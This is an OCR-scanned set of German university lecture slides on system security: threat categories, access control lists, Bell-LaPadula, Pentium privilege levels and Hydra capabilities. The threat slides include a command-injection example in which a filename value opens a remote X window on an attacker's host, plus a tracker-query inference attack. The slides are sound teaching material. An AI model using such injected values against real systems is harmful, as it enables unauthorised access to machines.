| Datensicherheit und Zugriffsschutz

|.1 Problemstellung

m Beispiel: Zugang zu einer Datenbank zur Flugreservierung und -buchung

e @
-
Flug- und Platzdaten j

N -
Prozessor @
~ -
Zugriffs- und Zugangsregeln Terminals

[J Was sind mdgliche Beeintrachtigungen der Datensicherheit?
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|.1 Problemstellung (2)

m  Uberprufungen beim Transaktionsbetrieb (Datenbankanwendung)

Benutzer @ <« <> Benutzerprofile
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programmierer  Hardware- Dateischutz
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Nach Wood et.al 1980 <«

Verschlisselung
Sicherheitskopien

SP I Systemprogrammierung | 1.2
O Franz J. Hauck, Universitat Erlangen-Nurnberg, IMMD 1V, 1998/1999 1-Security.fm 1999-02-02 09.53 ’

Reproduktion jeder Art oder Verwendung dieser Unterlage, aufer zu Lehrzwecken an der Universitat Erlangen-Niirnberg, bedarf der Zustimmung des Autors,



Problemstellung (3)

SP I

lllegaler Datenzugriff
[J Daten sind zugreifbar, die vertraulich behandelt werden sollen

lllegales Loschen von Daten
[0 Kein Zugriff, aber Daten werden geldscht

lllegales Manipulieren von Daten
[1 Daten werden in boswilliger Absicht verandert

Zerstorung von Rechensystemen
[ physisches Zerstoren von Teilen der Rechenanlage
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Umgebung der Rechenanlage

SP I

Naturkatastrophen

[0 Erdbeben, Vulkanausbriiche etc. kbnnen Rechenanlage und Datenbestand
zerstoren

Unfalle

[0 Gasexplosion, Kiihlwasserlecks in der Klimaanlage oder Ahnliches
zerstéren Rechner und Daten

Boswillige Angriffe

[0 Zerstérung der Rechenanlage und des Datenbestands durch Sabotage
(Bombenanschlag, Brandanschlag etc.)

Unbefugter Zutritt zu den Raumen des Rechenzentrums
[J Diebstahl von Datentragern
[J ZerstOorung von Daten

[0 Zugang zu vertraulichen Daten
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2 Systemsoftware

A Versagen der Schutzmechanismen
[0 System lafl3t Unbefugte auf Daten zugreifen oder Operationen ausfiihren

A Durchsickern von Informationen

0 Anwender kdnnen anhand scheinbar unauffalligen Systemverhaltens
Ruckschliisse auf vertrauliche Daten ziehen (Covert channels)

m Beispiel: verschlisselt abgespeicherte PalRworter sind zuganglich
[J Entschlisselungsversuch der Pal3woérter auRerhalb der Rechenanlage

[ "Worterbuchattacke": Raten von PalRwodrtern mdglich
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3 Systemprogrammierer

A Umgehen oder Abschalten der Schutzmechanismen

A Installation eines unsicheren Systems

[ erlaubt dem Systemprogrammierer die Schutzmechanismen von auf3en zu
umgehen

A Fehler beim Nutzen von Bibliotheksfunktionen innerhalb
sicherheitskritischer Programme

[0 S-Bit Programme unter UNIX laufen mit der Benutzerkennung des
Dateibesitzers, nicht unter der des Aufrufers

» Fehlerhafte S-Bit Programme kénnen zur Ausfihrung von Code unter
einer fremden Benutzerkennung gebracht werden

» S-Bit Programme mit "root-Rechten" besonders geféhrlich
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3 Systemprogrammierer (2)

[0 Buffer overflow Fehler bei Funktionen
gets(), strcpy(), strcat(), sprintf( "%s",..)

» Zu lange Eingaben Uberschreiben den Stackspeicher des Prozessors

» Mit genauer Kenntnis ist das Ausfiihren beliebigen Codes erzwingbar

[0 Fehlerhafte Parameterprifung beim Aufruf von Funktionen
system()

[1 Beispiel: Loschen einer Datei
* Name der Datei wurde in Variable file  eingelesen
 Aufruf von system mit Parameter strcat( "rm ", file)

* Gibt man fir den Dateinamen den String
"fn ; xterm -display myhost:0 &"
ein, bekommt man ein Fenster auf der aufgebrochenen Maschine
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4 Rechnerhardware

A Versagen der Schutzmechanismen
[J erlauben nicht-autorisierten Zugriff

A Fehlerhaft Befehlsausfiihrung
[0 Zerstérung von wichtigen Daten

A Abstrahlungen

[J erlaubt Ausspahen von Daten

5 Datenbasis

A Falsche Zugriffsregeln
[ erlauben nicht-autorisierten Zugriff
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6 Operateur

A Kopieren vertraulicher Datentrager
A Diebstahl von Datentragern

A Initialisierung mit unsicherem Zustand
[1 Operateur schaltet beispielsweise Zugriffskontrolle ab

A NachlaRige Rechnerwartung
[0 Nachbesserungen der Systemsoftware (Patches) werden nicht eingespielt

» Sicherheitslicken werden nicht gestopft
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7 Sicherheitsbeauftragter

A Fehlerhafte Spezifikation der Sicherheitspolitik
[0 dadurch Zugang fur Unbefugte zu vertraulichen Daten oder
0 Anderungen von Daten durch Unbefugte mdglich

A Unterlassene Auswertung von Protokolldateien
[0 Einbriche und mégliche Sicherheitsliicken werden nicht rechtzeitig entdeckt
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8 Kommunikationssystem

A Abhdren der Kommunikationsleitungen (Sniffing)
[0 z.B. Telefonverbindung bei Modemnutzung oder serielle Schnittstellen

[ z.B. Netzwerkverkehr auf einem Netzwerkstrang

[0 Ermitteln von PalBwortern und Benutzerkennungen

* manche Dienste Ubertragen PalRwdrter im Klartext
(z.B. ftp, telnet, rlogin)

[0 Zugriff auf vertrauliche Daten

[1 unbefugte Datenveranderungen
* Verfalschen von Daten
« Ubernehmen von bestehenden Verbindungen (Hijacking)

* Vorspiegeln falscher Netzwerkadressen (Spoofing)
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8 Kommunikationssystem (2)

A lllegale Nutzung von Diensten Uber das Netzwerk

[J Standardsysteme bieten eine Menge von Diensten an
(z.B. ftp, telnet, rwho u.a.)

[ Sicherheitslticken von Diensten werden publik gemacht und sind auch von
"dummen" Hackern nutzbar (Exploit scripts)
http://www.rootshell.org

[0 Auch bei temporar am Netzwerk angeschlossenen Computern eine Gefahr
 z.B. Linux-Maschine mit PPP-Verbindung an das Uni-Netz

 Voreinstellungen der Standardinstallation meist unsicher
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Terminal

10

Ungeschutzter Zugang zum Terminal
[J Nutzen einer fremden Benutzerkennung
[0 Zugriff auf vertrauliche Daten

[0 unbefugte Datenveranderungen

Benutzer

SP I

11

Nutzen anderer Kennungen

[J erlauben nicht-autorisierten Zugriff

[J unbefugte Datenveranderungen

[0 unbefugte Weitergabe von Informationen

Einbruch von Innen
[J Benutzer hat leichter Zugang zu mdglichen Sicherheitsléchern
(z.B. bei Diensten)
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Anwendungsprogrammierung

SP I

Nichteinhalten der Spezifikation
[0 Umgehen der Zugriffskontrollen

Einfigen von ,bdsartigen“ Befehlsfolgen

[0 Back door: Hintertur gibt dem Programmierer im Betrieb Zugang zu
vertraulichen Daten oder illegalen Operationen

[0 Trojan horse: Unter bestimmten Bedingungen werden illegale Operationen
ohne Trigger von auf3en angestol3en
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12 "Tracker Queries"
m Beispiel: Datenbanksysteme
O Zugriff auf Einzelinformationen ist verboten (Vertraulichkeit)
[J statistische Informationen sind erlaubt
A Grenzen mdglicher Sicherheitsmal3hahmen:
Zugriff auf Einzelinformationen dennoch méglich
[1 geeignete Anfragen kombinieren (Tracker queries)
m Beispiel: Gehaltsdatenbank
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12 "Tracker Queries" (2)
m Tabelle der Datenbankeintrage:
= (@)]
e c c
Nr. Name ? S = Gehalt | Spenden
Q LL Q
O] )
1 |Albrecht m Inf. Prof. 60.000 150
2 |Bergner m | Math. Prof. 45.000 300
3 |Casar w | Math. Prof. 75.000 600
4 |David w Inf. Prof. 45.000 150
4 |Engel m | Stat. Prof. 54.000 0
5 |Frech w | Stat. Prof. 66.000 450
6 |Grol3 m Inf. | Angest. | 30.000 60
8 |Hausner m | Math. Prof. 54.000 1500
9 [lbel w Inf. Stud. 9.000 30
10 |Jost m | Stat. | Angest. | 60.000 45
11 |Knapp w | Math. Prof. 75.000 300
12 |Ludwig m Inf. Stud. 9.000 0
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12 "Tracker Queries" (3)

m Anfragen und Antworten:
[0 Anzahl('w’): 5
[0 Anzahl('w’ und (nicht ’Inf’ oder nicht 'Prof.")): 4
[ mittlere Spende('w’): 306
[0 mittlere Spende('w’ und (nicht ’Inf.” oder nicht 'Prof.’)): 345

®m Berechnung:
[J Spende('David’): 306 *5-345*4 =
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.2 Zugriffslisten

m Identifikation von Subjekten, Objekten und Berechtigungen

[J Subjekt: Person oder Benutzerkennung im System
(reprasentiert jemanden, der Aktionen ausfihren kann)

[J Objekt: Komponente des Systems
(représentiert Ziel einer Aktion)

[J Berechtigung: z.B. Leseberechtigung auf einer Datei
(reprasentiert die Erlaubnis fur die Ausfihrung einer Aktion)

m Erfassung der Berechtigungen in einer Subjekt-Objekt-Matrix:
Zugriffsliste (Access control list, ACL)
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Beispiel flr Zugriffslisten

SP I

Personaldatensatz
[ besteht aus: Name, Abteilung, Personalnummer, Lohn- oder Gehaltsgruppe

Personaldateien (Objekte)
[0 D, a: Personaldaten der leitenden Angestellten
[0 Dan: Personaldaten der sonstigen Angestellten

[0 Dag: Personaldaten der Arbeiter

Prozeduren (gehdren zu den Aktionen)
[0 Ra: Lesen von Pers.-Nr. und Lohn-/Gehaltsgr. aus D\ 5
[ Ran/ar: Lesen von Pers.-Nr. und Lohn-/Gehaltsgr. aus Dy oder Dag

U Rpost: Lesen von Name, Abteilung und Pers.-Nr.
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Beispiel fur Zugriffslisten (2)

SP I

Benutzer (Subjekte)
U Spers: Leiter des Personalbiros
« Besitzer aller Dateien und Prozeduren
* Lese- und Schreibrecht fur alleDateien
* Aufrufrecht fur alle Prozeduren
O Sqtenry: Sachbearb. leitende Angestellte, stellvertr. Leiter Personalbiro
* Lese- und Schreibrecht fiir Dpy und Dag
* Aufrufrecht fir R 5
[0 Sgach: Sachbearbeiter Angestellte u. Arbeiter
* Aufrufrecht fir Ran/ar
[ Spost: Poststelle
* Aufrufrecht flr Ryos; auf alle Dateien
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1 Beispiel fur Zugriffslisten (3)
m Berechtigungen werden in Matrix ausgedruckt:
Dia DaN Dar Ria | Ranar | Rpost
Spers OORW|O,RW|O, R, W o, O, |l O,
Sstellv R, W R, W I
Ssach |
Spost |
Ria R
Ran/ar R R
Rpost R R R
* O = Owner; Besitzer der Datei oder Prozedur
* R = Read; volle Leseberechtigung
» W = Write; volle Schreibberechtigung
* | = Invoke; Aufrufberechtigung
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2 Beispiel: UNIX
m  Zugriffslisten fur
[J Dateien und Geréate
[0 Shared memory-Segmente
[0 Message queues
[J Semaphore
[ etc.
m Berechtigungen:
[0 Lesen (read), Schreiben (write), Ausfihren (execute)
[ fur Besitzer, Gruppe und alle anderen unterscheidbar
m  Subjekte:
[J Prozesse
[J Besitzer (Benutzer) und Zugehdrigkeit zu einer oder mehreren Gruppen
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2 Beispiel: UNIX

m  Superuser
[0 Benutzer root hat automatisch alle Zugriffsrechte

m S-Bit-Programme
[J S-Bit ist ein besonderes Recht auf der Bin&rdatei des Programms

[J Besitzer der Datei wird bei der Ausfiihrung auch Besitzer des Prozel}
(sonst wird Aufrufer Besitzer des Prozel3)

[l Vortell

(] Bereitstellen von Prozessen, die kontrolliert Aufrufern hdhere
Zugriffsberechtigungen erlauben

A Nachteill
[0 Fehler im Prozel} gibt Aufrufer volle Rechte des Programmbesitzers

[ fatal, falls das Programm root gehort
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3 Implementierung

m Globale Tabelle/Matrix

[0 System halt eine Datenstruktur und pruft im betreffenden Eintrag die
Berechtigungen

[0 Tabelle tblicherweise recht grof3: palt evtl. nicht in den Speicher

m Zugriffslisten an den Objekten

[J jedes Objekt halt eine Liste der Berechtigungen
(z.B. Unix Datei: Inode)

[ verringert Ublicherweise den Platzbedarf fir die Eintrage
(unnotige Felder der Matrix werden nicht reprasentiert)

m Zugriffslisten an den Subjekte

[J jedes Subjekt hélt eine Liste von Objekten und den Berechtigungen, die das
Subjekt fiur das Objekt hat

[J &hnlich Capabilities
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Schutzmodell nach Bell-La Padula

Sicherheitsgrad
O Tupel: ( Geheimhaltungsstufe, Schutzkategorie )

[0 Geheimhaltungsstufe (g): ein Element aus einer vollstdndig geordneten
Menge (z.B. vertraulich, geheim, streng geheim)

[0 Schutzkategorie (s): Teilmenge von systemspezifischen Sachgebieten
(z.B. Arbeiter, Angestellte, leit. Angestellte, Post)

[0 Jedem Objekt und jedem Subjekt ist ein Sicherheitsgrad zugeordnet

m Sicherheitseigenschaft
[0 Ein Subjekt kann nur Objekte mit gleichem oder niedrigerem Sicherheitsgrad
lesend oder schreibend zugreifen.
[0 Dabei gilt: (g,s)<(g',s)0 g<g'Os0OSs'
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1.3 Schutzmodell nach Bell-La Padula
m *-Eigenschaft
[J Ein Subjekt kann nur dann gleichzeitig zu einem Objekt A lesenden und zu
einem Objekt B schreibenden Zugriff haben, wenn B den gleichen oder
einen hoheren Sicherheitsgrad besitzt als A
(] Es ist nicht moglich Informationen eines hohen Sicherheitsgrads zu
einem Objekt niedrigeren Sicherheitsgrads zu transportieren
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1 Beispiel

m Subjekte und Objekte mit Sicherheitsgraden
[0 D, o = Personaldaten der leitenden Angestellten:
( streng geheim, {})
[0 Dan = Personaldaten der sonstigen Angestellten:
(geheim, {})
[0 Dar = Personaldaten der Arbeiter:
(geheim, {})
0 Spers = Leiter des Personalburos:
( streng geheim, {Post, leit. Angestellte, Arbeiter, Angestellte} )

[0 Stely = Sachbearb. leitende Angestellte, stellvertr. Leiter Personalbiiro:
( streng geheim, {leit. Angestellte} )

[0 Sgach = Sachbearbeiter Angestellte u. Arbeiter:
( geheim, {Arbeiter, Angestellte} )

0 Spost: Poststelle:
( streng geheim, {Post} )
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1 Beispiel (2)

m Prozeduren mit Sicherheitsgraden

[0 R_a = Lesen von Pers.-Nr. und Lohn-/Gehaltsgr. aus D a:
( streng geheim, {leit. Angestellte} )

[0 Ran/ar = Lesen von Pers.-Nr. und Lohn-/Gehaltsgr. aus Dy oder Dpg:
( geheim, {Angestellte, Arbeiter} )

U Rpost = Lesen von Name, Abteilung und Pers.-Nr.:
( streng geheim, {Post} )
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1 Beispiel (3)

®m InformationsflulZkontrollgraph:

Spers
( streng geheim,
{Post, Arbeiter, Angestellte, leit. Angestellte} )

Rpost Ria RaN/AR
( streng geheim, ( streng geheim, ( geheim,
{Post}) {leit. Angestellte} ) {Angestellte, Arbeiter} )
Spost Sstellv Ssach
( streng geheim, ( streng geheim, ( geheim,
{Post}) {leit. Angestellte}) {Angestellte, Arbeiter})
Dia Dan Dar
( streng geheim, {}) ( geheim, {} ) ( geheim, {})
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1 Beispiel (4)
m Informationsflu3kontrollgraph:
Spers
( streng geheim,
{Post, Arbeiter, Angestellte, leit. Angestellte} )
Rpost RLa RAN/AR
( streng geheim, ( streng geheim, (geheim,
{Post}) {leit. Angestellte} ) {Angestellte, Arbeiter} )
Spost SsteIIv S‘sach
( streng geheim, ( streng geheim, ( geheim,
{Post}) {leit. Angestellte} ) {Angestellte, Arbeiter})
DLA - DAN B EEE— DAR
( streng geheim, {}) ( geheim, {} ) (geheim, {})
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1 Beispiel (4)
m Sicherheitsgrade verhindern bestimmte Informationsflisse unabhangig
von der Schutzmatrix
[ z.B. kann Information aus Ryest Nach Spost gelangen, von dort aber nicht
mehr an Sg,.h, Weitergegeben werden
m  Umgekehrt kann die Schutzmatrix Einschrankungen treffen, die nicht
durch die Sicherheitsgrade allein verhindert werden
[0 z.B. kann Sg;ey Nicht den kompletten Inhalt von D, 5 lesen, obwohl der
InformationsfluRkontrollgraph dies erlauben wiirde
g i |
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2 Bewertung
A Probleme
[ Information erlangt immer hoéhere Sicherheitsgrade und kann dann nicht
mehr weitergegeben werden
[J Beispiel: Programm zur Steuererklarung greift auf streng geheime
Buchhaltungsdaten zu [0 Steuererklarung ist streng geheim
m Einfihrung von vertrauenswirdigen Prozeduren, die die *-Eigenschaft
umgehen kdnnen
O Informationen kénnen im Sicherheitsgrad wieder heruntergestuft werden
A vertrauenswuirdige Prozeduren stellen wiederum ein Sicherheitsrisiko dar
[J Verifikation notig, aber schwierig
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|.4 Schutz durch Speicherverwaltung

m Schutz vor gegenseitigem Speicherzugriff

[0 Segmentierung und Seitenadressierung erlauben es, jedem Prozel3 nur den
bendtigten Speicher einzublenden

[0 Segmentverletzung 16st Unterbrechung aus

m Systemaufrufe

[ definierter Weg von einer Schutzumgebung (der des Prozesses) in eine
andere (der des Betriebssystems)

m Erweiterung dieses Konzepts:

[ allgemeine Prozeduraufrufe zwischen verschiedenen Schutzumgebungen,
realisiert mit der Speicherverwaltung und deren Hardware (MMU)
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1 Modulkonzept von Habermann

m Idee (von 1976)
[0 Adref3raume (Module) bilden Schutzumgebungen

[0 Adre3rdume bieten definierte Operationen an
(&hnlich wie das Betriebssystem Systemaufrufe anbietet)

[0 Parameter werden in speziellen Segmenten tGbergeben

[l Bietet allgemeinen Schutz der Module und erlaubt kontrollierte
Interaktionen

m Module besitzen einen statischen Adref3raum
(SAS, Static address space)

[0 enthalt Liste von Segmenten, die zu dem Modul gehdéren bzw. von dem
Modul zugegriffen werden durfen

[J enthalt Liste von angebotenen Operationen mit den Angaben, welche
Segmente jede Operation benotigt
(u.a. Segment fur die auszufiihrenden Instruktionen)
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1 Modulkonzept von Habermann (2)

[ enthalt Liste von bekannten Adrel3raumen anderer Module
(dort kdnnen dann Operationen aufgerufen werden)

SAS

Text- ST oT KAST
Segment — I

=T / >
Daten- 4
Segment /
=Tk

NN W

Segment- Operationen- Bekannte
tabelle tabelle Adrel3rdume

KAST = Known address space table
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1 Modulkonzept nach Habermann (3)

m Aktivitatstrager sind einen dynamische Adrel3raum zugeordnet
(DAS, Dynamic address space)

SAS
Text- ST oT KAST

segment e 4 )

gz - | '§ " [ enthalt Segmenttabelle
fur Parameter und

Daten- 4 Ergebnisse (PST)

\

\
segment \_ 0 enthalt Verweise auf
VNS PR Segmenttabellen, die

K DAS den AdreRraum
Ergebnis- PST WS zusammenstellen
segment T K (WS= Working space)
e
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2 Beispielaufruf

m SAS des Benutzers ruft Operation ,open” des SAS des Dateisystems auf

SAS cer SAStilesys
Text- ST OT  KAST ST OT  KAST
segment k " o open
| B -
\
Daten- \
segment %
I:I/ NN NN A
PST \WS \Rateiname
| [ ]
\
Dateideskr = filesys.open( Dateiname )

DAS
ASCALL( KAST[1], OT[0], (ST[2]), PST[2])
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2 Beispielaufruf (2)

m SAS des Benutzers ruft Operation ,open” des SAS des Dateisystems auf

SASuser SASfiIesys
Text- ST oT KAST ST oT KAST
t
segmen k = ,-open
[ ] \ ?1
Daten- \
segment %
NN NN M NN
VoA | b oas
PST \\WS Rateiname | psT \\ WS
C~—tF
\ X
DAS

[ far den Aufruf von ,open” wird ein neuer DAS erzeugt
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2 Beispielaufruf (3)

m SAS des Benutzers ruft Operation ,open” des SAS des Dateisystems auf

SAS cer SAStilesys
Text- ST oT KAST ST oT KAST
segment k I ,-open
i gl S - s
Daten- \
segment %
I:I/ NN NN M PN

LN b ons
PST \\WS Rateiname | psT \\| ws

\ -
Dateideskr

e

\

DAS
[1 ,open” erzeugt neues Segment fir den Dateideskriptor
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2 Beispielaufruf (4)

m SAS des Benutzers ruft Operation ,open” des SAS des Dateisystems auf

SASuser SASfiIesys
Text- ST oT KAST ST oT KAST
segment k [ ,-open
i St - g’
Daten- \
segment %
NN A e

PST \WS \Qateiname

" Dateideskr

=]

DAS
[J Ergebnissegment wird an den Aufrufer zurlickgegeben
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Beispiel: Pentium

SP I

Privilegierungsstufen

[0 Stufe 0: héchste Privilegien (privilegierte Befehle, etc.): BS Kern
[J Stufe 1: BS Treiber

[J Stufe 2: BS Erweiterungen

[J Stufe 3: Benutzerprogramme

Segmentselektoren enthalten Privilegierungsstufe
15 30

Index in Segmenttabelle Privilegierungsstufe
(RPL = Requested privilege level)
Tabellentyp
Codesegmentselektor (CS) bestimmt aktuelle Privilegierungsstufe

[0 CPL = Current privilege level
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Beispiel: Pentium (2)

SP I

Datenzugriff (z.B. auf Datensegment DS)

15 30

Segmentselektoren

DS RPLps

Segmentdeskriptor

Basisadr. Lange DPL

[0 DPL = Descriptor privilege level
[0 CPL ist normalerweise gleich RPLcg
[0 Zugriff wird erlaubt, wenn: DPL = max(CPL, RPLpg)

[J ansonsten wird Unterbrechung ausgelost (Schutzverletzung)
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3 Beispiel: Pentium (3)

m Erlauterung:

[0 DPL < RPL(ds): Schutzverletzung
Selektor hat geringere Privilegierungsstufe als der
Deskriptor

[0 DPL = RPL(ds): Selektor hat mindestens die gleiche
Privilegierungsstufe wieder Deskriptor

[0 DPL < CPL: Schutzverletzung

augenblickliche Privilegierungsstufe ist niedriger als
im Deskriptor verlangt

[0 DPL = CPL: augenblickliche Privilegierungsstufe ist mindestens
so hoch wie die im Deskriptor
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3 Beispiel: Pentium (4)

m Springe in andere Codesegmente (Far Call)

15 30

CSheu RPLcsneu

Basisadr. Lange i DPL

Conforming Bit

[0 Sprung wird erlaubt, falls: DPL = CPL oder
Conforming Bit gesetzt und DPL < CPL

[J Im Falle von DPL < CPL wird jedoch CPL nicht geéndert
(Codesegment hat hoheres Privileg, CPL bleibt aber unverandert)
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3 Beispiel: Pentium (5)

m  Kontrolltransfer mit einem Gate

15 30
cs RPLcs [ CPL
Gate RPLGate Gatedeskriptor
Offset DPLgate
Basisadr. Lange DPLcsneu

[0 Gatedeskriptoren stehen wie Segmentdeskriptoren in der Segmenttabelle

[0 Gatedeskriptor enthalt Segmentselektor fir das Codesegment und einen
Offset zu diesem Segment, an dem der Einsprungpunkt liegt

[0 Kontrolltransfer (CALL Aufruf) wird erlaubt, falls:
DPLgate = Max(CPL, RPLggte) UNd DPLcgpe, < CPL

Syst i |
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3 Beispiel: Pentium (6)
m Gates erlauben den kontrollierten Sprung in ein privilegierten
Befehlsbereich
— il
Segmentdeskriptor / Gatedeskriptoren
l [ [T
Codesegment ‘
Befehlsbereiche/Funktionen
[ es existiert auch der entsprechende Rticksprung
[ fur jede Privilegierungsstufe gibt es einen eigenen Stack; dieser wird mit
umgeschaltet
[1 Parameter werden automatisch auf den neuen Stack kopiert
(Anzahl wird im Gatedeskriptor vermerkt)
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3 Beispiel: Pentium (7)

m Beispiel eines realisierten Schutzsystems

Task 2

applications

custom
extensions

system
services

O] 1) 2
O
£
Task 1 ] Task 3
A
@ Gate D/
A Daten <— |egaler Zugriff

] Befehle <— illegaler Zugriff
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|.5 Capability-basierte Systeme

m Ein Benutzer (Subjekt) erhalt eine Referenz auf ein Objekt
[J die Referenz enthélt alle Rechte, die das Subjekt an dem Objekt besitzt

[ bei der Nutzung der Capability (Zugriff auf das Objekt) werden die Rechte
Uberpruft

@ S~ R =Read/ Leserecht
»~ W = Write / Schreibrecht

",
1,
"l A}
L]
...Illll“

R
Subjekte und Objekte; Weitergabe einer Capability (O, von S, nach S3)
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1.5 Capability-basierte Systeme (2)
[1 Vorteile
[0 keine Speicherung von Rechten beim Objekt oder Subjekt notig; Capability
enthalt Zugriffsrechte
[ leichte Vergabe von individuellen Rechten
[ einfache Weitergabe von Zugriffsrechten méglich
A Nachteile
[J Weitergabe nicht kontrollierbar
[0 Ruckruf von Zugriffsrechten nicht mdglich
[0 Capability mufl3 vor Falschung und Verfalschung geschutzt werden
(z.B. durch kryptographische Mittel oder durch Speicherverwaltung)
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1 Beispiel: Hydra
m Hydra ist ein Capability-basiertes Betriebssystem
[0 entwickelt Mitte der Siebziger Jahre an der Carnegie-Mellon University
O lief auf einem speziellen Multiprozessor namens C.mmp
[J Capability-Mechanismen sind integraler Bestandteil des Betriebssystems
m Objekte in Hydra werden durch Capabilities angesprochen und geschutzt
[0 Objekte haben einen Typ
(z.B. Prozeduren, Prozesse, Semaphoren, Datei etc.)
[0 benutzerdefinierte Typen sind moglich
[J generische Operationen fir alle Typen implementiert durch das
Betriebssystem
[J Objekte besitzen eine Liste von Capabilities auf andere Objekte
(genannt C-List)
[J Objekte besitzen einen Datenbereich (implementiert durch geschutztes
Segment)
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1 Beispiel: Hydra (2)

m Prozesse (Subjekte)
[J Prozesse besitzen einen aktuellen Kontext, den LNS (Local name space)
[0 LNS ist ein Objekt
[J LNS besitzt einen Aktivitatstrager (Thread)

[0 LNS kann nur auf Objekte zugreifen, die in seiner C-List stehen
(mehrstufige Zugriffe, z.B. auf die C-List eines Objekts, dessen Capabilities
in der C-List des LNS steht, sind moglich; Pfad zur eigentlichen Capability)

m Capabilities
[0 Capabilities haben einen Typ (z.B. Prozedur, LNS etc.)

[J Prozesse kdnnen nur Uber Systemaufrufe ihre Capabilities bzw. ihre C-List
bearbeiten

[J Capabilities kdnnen nicht gefalscht oder verfalscht werden

[1 Betriebssystem kann sicheres Schutzkonzept basierend auf Capabilities
implementieren
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1 Beispiel: Hydra (3)

m Datenbereich
[J Operationen:

» Getdata: kopiere Abschnitt aus dem Datenbereich eines Objekts in den
Datenbereich des LNS

» Putdata: kopiere Abschnitt aus dem Datenbereich des LNS in den
Datenbereich eines Objekts

» Adddata: fuge Daten zu dem Datenbereich eines Objekts hinzu

[J Rechte:
* GETRTS: erlaubt den Aufruf von Getdata
* PUTRTS: erlaubt den Aufruf von Putdata
» ADDRTS: erlaubt den Aufruf von Adddata

[J Rechte mussen in der Capability zum Objekt gesetzt sein

SP I Systemprogrammierung | 1.52
O Franz J. Hauck, Universitat Erlangen-Nurnberg, IMMD 1V, 1998/1999 1-Security.fm 1999-02-02 09.53 ’

Reproduktion jeder Art oder Verwendung dieser Unterlage, aufer zu Lehrzwecken an der Universitat Erlangen-Niirnberg, bedarf der Zustimmung des Autors,



1 Beispiel: Hydra (4)

® Implementierung von Dateien:
[0 Getdata erlaubt das Lesen von Daten
00 Putdata erlaubt das Schreiben von Daten

[0 Adddata erlaubt das Anhéngen von Daten

m Entsprechende Rechte kbnnen pro Capability gesetzt werden

LNS
Datei

T

Datenbereich —

GP/
C-List —F ;
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1 Beispiel: Hydra (5)

m C-List
[J Operationen:

 Load: kopieren einer Capability aus der C-List eines Objekts in die C-List
des LNS

» Store: kopieren einer Capability aus der C-List des LNS in die C-List eines
Objekts (dabei konnen Rechte maskiert werden)

» Append: anfugen einer Capability in die C-List eines Objekts
» Delete: I6schen einer Capability aus der C-List eines Objekts

[J Rechte:
* LOADRTS: erlaubt Aufruf von Load
» STORTS: erlaubt Aufruf von Store
 APPRTS: erlaubt Aufruf von Append
* KILLRTS: erlaubt Aufruf von Delete
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1 Beispiel: Hydra (6)
®m Implementierung von Katalogen:
[ Load erlaubt das Auflésen von Namen (Aufrufer bekommt die Capability)
[0 Store und Append erlauben das Hinzufligen von Dateien zum Katalog
[ Delete erlaubt das Austragen von Dateien aus dem Katalog
Datei 1
LNS Katalog
GPALSK GP
- G A Datei 2
- GP
Datei 3
SP I SyF?;nezr?agc:cgkl,r?]::\r/’re]ris‘i.:‘t;?ggnlgen—Nurnberg, IMMD 1V, 1998/1999 1-Security.fm 1999-02-02 09.53 I55
1 Beispiel: Hydra (7)
m Objekterzeugung Uber Erzeugungsschablonen (Creation Templates)
[0 Erzeugungsschablone enthélt den Typ des neu zu erzeugenden Objektes
und eine Rechtemaske
O nur die in der Maske angeschalteten Rechte werden dem Aufrufer in einer
neuen Capability gegeben
LNS LNS
Datei
. Datei . . Datei .
GP GP
- GP
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2 Hydra Prozeduraufruf
m Prozedur ist ein Objekt, aus dem beim Aufruf ein LNS des laufenden
Prozesses erzeugt wird
[0 neuer LNS wird aktueller Kontext (alte LNS stehen auf einem Stack; sie
werden wieder aktiviert, wenn Prozedur zu Ende)
m  Aufruf einer Prozedur
Datei 1
C = CALLRTS Prozedur
Recht zum Aufruf
einer Prozedur
GP
LNS )/ Nr. der Prozedur-
Call( 0 capabilit
——— LNSneU ( p y
0 C . .
00 C-List der Prozedur wird
_ GP in einen neu erzeugten
- LNS kopiert
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2 Hydra Prozeduraufruf (2)
m  Ubergabe von Parametern
[J Beispiel: Prozedur zum Kopieren von Dateiinhalten
Prozedur ,Kopiere Dateien®
LNS
: Parameter-
Datei G
0 C * T | schablone
1 G P . Datei P .
*
2
3 Eintragsnr. fur Ergebnis
Nr. Parameter-
capability
Rechtemaske
Datei 2 fir Parameter
Call(0, 3,1, (G), 2, (P))
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2 Hydra Prozeduraufruf (3)

m  Ubergabe von Parametern
[J Beispiel: Prozedur zum Kopieren von Dateiinhalten

Prozedur ,Kopiere Dateien*

LNS
. Parameter-

| Pl Gl schablone
Datei P

* * *
LNS, ey
- G

Datei 2
i P
SP | Systemprogrammierung | 1.59
O Franz J. Hauck, Universitéat Erlangen-Nurnberg, IMMD 1V, 1998/1999 I-Security.fm 1999-02-02 09.53

Reproduktion jeder Art oder Verwendung dieser Unterlage, auler zu Lehrzwecken an der Universitat Erlangen-Niimberg, bedarf der Zustimmung des Autors,

2 Hydra Prozeduraufruf (3)

m Verstarken von Rechten
[J Beispiel: Prozedur zum Lesen von Dateiinhalten

Prozedur ,Lese Datei”

LNS

Parameter-
schablone

mit Rechte-
verstarkung

R = READRTS

Recht zum Lesen
einer Datei

(definiert nur fur Datei)

1.60
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Problem: Gegenseitiges Mildtrauen

SP I

Aufrufer mifdtraut einer Prozedur

[0 Aufrufer méchte der Prozedur nur soviel Rechte einraumen wie notig

Aufgerufene Prozedur mif3traut dem Aufrufer

[0 Aufrufer soll nur soviel Rechte und Zugang bekommen wie erforderlich

Hydra Prozeduraufruf unterstitzt diese Forderungen direkt

O Aufrufer tbergibt Capabilities, die nétig sind

O Aufrufer kann Rechte bei der Ubergabe maskieren und damit ausschalten
[0 Aufrufer erhalt nur Zugang zu einem definierten Ergebnis

[0 Prozedur kann eigene Capabilities besitzen, die einem LNS zur Verfiigung
stehen und die dem Aufrufer verborgen bleiben kbnnen
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Problem: Gegenseitiges Mifdtrauen (2)

4

Rechteverstarkung als Sicherheitsliicke?

[ Verstarkungsschablone wird nur an vertrauenswurdige Prozeduren
ausgegeben und kann nicht einfach erzeugt werden

Problem: Modifikationen

SP I

Aufrufer mochte Modifikationen an und Uber Parametern ausschliel3en
[0 eine Prozedur soll nichts verandern kénnen

Wegnehmen der entsprechenden Rechte langt nicht

[0 Prozedur kann lesend zu neuen Capabilities gelangen und Uber diese
Anderungen vornehmen (Transitivitat)

[0 Rechteverstarkung kdnnte angewandt werden
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4 Problem: Modifikation (2)

] Einfuhrung des Modifikationsrechts MDFYRTS

[J fur alle modifizierenden Operationen an Datenbereichen und C-Lists muf
zusatzlich das Modifikationsrecht vorhanden sein

